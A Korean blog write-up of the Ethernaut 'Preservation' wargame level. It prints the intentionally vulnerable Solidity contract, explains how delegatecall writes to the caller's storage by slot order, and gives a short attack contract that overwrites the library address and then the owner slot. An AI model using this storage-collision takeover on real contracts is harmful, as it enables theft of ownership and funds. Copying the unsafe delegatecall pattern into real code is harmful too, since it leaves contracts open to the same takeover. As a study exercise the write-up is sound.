[ethernaut] Preservation

wooz3k.eth·2023년 1월 3일
0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

이 문제는 delegatecall 을 함부로 사용하면 안되는 것을 알려준다. Delegation 문제에서 설명했듯이 delegatecall 은 호출한 컨트렉트의 storage에 데이터가 작성되는데 이때 변수명으로 판단하여 작성되는 것이 아니라 storage slot으로 접근하여 작성하게 된다.

setFirstTimesetSecondTime을 살펴보면 setTime(uint256)을 호출하는 delegatecall을 진행하는데 컨트렉트 작성자의 의도대로 storedTime에 작성되는 것이 아니라 slot 순서대로 작성되기 때문에 LibraryContract에는 storedTime이 slot number 0이기 때문에 timeZone1Library에 데이터가 덮어씌워질 것이다. 그렇게 되면 controlflow를 가져올 수 있게 되고, 우리의 목적인 owner는 slot number 2이기 때문에 slot number 2를 덮어씌울 수 있게 setTime(uint256)을 구현하면 될 것이다.

다음과 같은 페이로드 컨트렉트를 작성하였다.

contract attack {
    address a;
    address b;
    address write_owner;

  function setTime(uint _time) public {
    write_owner = tx.origin;
  }
}

이 컨트렉트를 체인에 올리고 이 주소를 timeZone1Library에 덮어씌웠다. 이후 setFirstTime 함수를 호출하면 내 의도대로 구현된 setTime(uint256)이 호출되어 ownertx.origin으로 덮어씌울 수 있게 되었다.

profile
Theori ChainLight Web3 Researcher

0개의 댓글